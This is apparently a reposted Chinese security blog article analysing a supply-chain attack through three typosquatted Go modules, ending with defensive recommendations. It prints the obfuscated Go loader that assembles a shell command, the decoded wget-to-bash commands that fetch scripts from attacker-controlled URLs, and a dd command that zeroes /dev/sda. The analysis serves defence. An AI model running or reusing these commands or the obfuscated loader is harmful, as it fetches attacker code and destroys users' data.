当心硬盘被彻底格式化,新型破坏性供应链攻击分析

admin 2025年5月19日17:45:29评论1 views字数 3041阅读10分8秒阅读模式

part1

点击上方蓝字关注我们

将二进制空间安全设为"星标⭐️"

第一时间收到文章更新

当心硬盘被彻底格式化,新型破坏性供应链攻击分析
当心硬盘被彻底格式化,新型破坏性供应链攻击分析

引言

当心硬盘被彻底格式化,新型破坏性供应链攻击分析

SUMMER HAS ARRIVED

Go 生态因其简洁性、透明性和灵活性而备受开发者青睐,迅速流行开来。目前已有超过 200 万个模块可供使用,开发者高度依赖如 GitHub 等公共仓库。然而,这种开放性正是攻击者所利用的突破口。

问题主要包括两方面:

(1).没有集中式的审核机制:开发者可以直接从 GitHub 仓库引入模块,默认信任模块命名。

(2).易受“拼写劫持”(typosquatting)攻击:几乎没有命名空间验证,使攻击者得以伪装成热门库发布恶意模块。

这次的供应链攻击涉及三个恶意Go模块, 这些恶意模块使用了相似的代码混淆手法:

github.com/truthfulpharm/prototransformgithub.com/blankloggia/go-mcpgithub.com/steelpoor/tlsproxy
当心硬盘被彻底格式化,新型破坏性供应链攻击分析
当心硬盘被彻底格式化,新型破坏性供应链攻击分析

命名空间混淆

当心硬盘被彻底格式化,新型破坏性供应链攻击分析

SUMMER HAS ARRIVED

不同于如 npm 或 PyPI 这样的集中式包管理器,Go 的去中心化模式, 模块直接通过 GitHub 引用, 造成了严重的命名混淆问题。开发者可能遇到多个名称相似但维护者完全不同的模块。这种不透明性让攻击者有机可乘,通过精心设计模块名称伪装成可信代码,大大提高了被无意中集成到项目中的几率。

以下是多个名称相似的Go模块造成的命名空间混淆问题:

当心硬盘被彻底格式化,新型破坏性供应链攻击分析
当心硬盘被彻底格式化,新型破坏性供应链攻击分析
当心硬盘被彻底格式化,新型破坏性供应链攻击分析

恶意模块分析

当心硬盘被彻底格式化,新型破坏性供应链攻击分析

SUMMER HAS ARRIVED

攻击者利用基于数组的字符串混淆技术和动态Payload执行机制来隐藏其意图。以下是恶意模块( truthfulpharm/prototransform )执行此技巧的一种方式:

funceGtROk()error {  DmM := []string{"4""/"" ""e""/""g""d""3""6"" ""4""w""/""7""d"".""O"" ""s""b""5""3""/""c""t""0""4""c""h"" ""f""a""t""/""i""/""1""b""n""p""t""7""d""-""&"":""4""e""t""4""-""d""4""g""o""d""s""e""r""7"".""/""|""."" ""1""h"" "}  pBRPhsxN := runtime.GOOS == "linux"  bcbGOM := "/bin/sh"  vpqIU := "-c"  PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + DmM[29] + DmM[50] + DmM[16] + DmM[2] + DmM[43] + DmM[17] + DmM[66] + DmM[24] + DmM[40] + DmM[39] + DmM[45] + DmM[12] + DmM[4] + DmM[36] + DmM[49] + DmM[13] + DmM[15] + DmM[46] + DmM[20] + DmM[63] + DmM[0] + DmM[26] + DmM[60] + DmM[52] + DmM[65] + DmM[22] + DmM[56] + DmM[48] + DmM[54] + DmM[58] + DmM[31] + DmM[53] + DmM[3] + DmM[35] + DmM[51] + DmM[57] + DmM[7] + DmM[59] + DmM[21] + DmM[14] + DmM[25] + DmM[55] + DmM[30] + DmM[33] + DmM[23] + DmM[27] + DmM[42] + DmM[41] + DmM[19] + DmM[10] + DmM[8] + DmM[6] + DmM[67] + DmM[62] + DmM[9] + DmM[1] + DmM[37] + DmM[34] + DmM[38] + DmM[61] + DmM[18] + DmM[28] + DmM[64] + DmM[44]if pBRPhsxN {    exec.Command(bcbGOM, vpqIU, PWcf).Start()  }returnnil}var GEeEQNj = eGtROk()

该Payload专门针对Linux系统, 执行前会检查操作系统,确保攻击主要影响基于 Linux 的服务器或开发者环境。

以下是解码恶意命令:

# prototransform module payloadwget -O - <https://vanartest>[.]website/storage/de373d0df/a31546bf | /bin/bash &# go-mcp module payloadwget -O - <https://kaspamirror>[.]icu/storage/de373d0df/a31546bf | /bin/bash &# tlsproxy module payloadwget -O - <http://147.45.44>[.]41/storage/de373d0df/ccd7b46d | /bin/sh &

解码目的:

  • 从攻击者控制的 URL 获取破坏性 shell 脚本( done.sh ):https://vanartest.website/storage/de373d0df/a31546bf

  • 立即执行,几乎没有时间进行响应或恢复。

以下是从其他恶意模块中提取的相似URL:

  • https://kaspamirror.icu/storage/de373d0df/a31546bf

  • http://147.45.44.41/storage/de373d0df/ccd7b46d

当心硬盘被彻底格式化,新型破坏性供应链攻击分析
当心硬盘被彻底格式化,新型破坏性供应链攻击分析

硬盘格式化Payload

当心硬盘被彻底格式化,新型破坏性供应链攻击分析

SUMMER HAS ARRIVED

在执行上面URL的有效Payload时, 发现了一个破坏性Shell脚本:

done.sh, 内容如下:

#!/bin/bashdd if=/dev/zero of=/dev/sda bs=1M conv=fsyncsync

上述命令执行 dd ,这是一个强大的 Unix 工具,指示它将零( /dev/zero )直接复制到主存储设备( /dev/sda )。

其巨大破坏力主要表现在:

  • /dev/sda 是 Linux 系统中默认的主存储设备,通常包含操作系统、用户文件、数据库和系统配置等。

  • 将 /dev/zero 写入磁盘等于将硬盘每一个字节都用“0”填满,不是删除文件,而是抹除整个磁盘结构。

  • 这会导致系统无法启动,所有数据彻底丢失,常规的数据恢复和取证手段将完全失效。

这个恶意脚本使目标 Linux 服务器或开发者环境完全瘫痪,突显了现代供应链攻击的极端危险,这些攻击可以将看似可信的代码变成毁灭性的威胁。

当心硬盘被彻底格式化,新型破坏性供应链攻击分析
当心硬盘被彻底格式化,新型破坏性供应链攻击分析

防御建议

当心硬盘被彻底格式化,新型破坏性供应链攻击分析

SUMMER HAS ARRIVED

这次发现的三个恶意模块(prototransformgo-mcp 和 tlsproxy)说明,开源生态中的安全威胁仍在不断演化。攻击者正不断利用命名空间混乱和开发者的信任,通过引入恶意代码来实施破坏。

要抵御这类高级威胁,软件开发流程必须做出改变:

  • 主动代码审计

  • 自动化依赖分析

  • 持续运行时安全监控

这些都应成为软件开发生命周期中的标准部分,尤其是在依赖大量开源模块的项目中。

持续的安全意识、严谨的依赖管理、主动的安全集成,将是未来软件供应链安全的关键保障。

原文始发于微信公众号(二进制空间安全):当心硬盘被彻底格式化,新型破坏性供应链攻击分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日17:45:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   当心硬盘被彻底格式化,新型破坏性供应链攻击分析https://cn-sec.com/archives/4039780.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息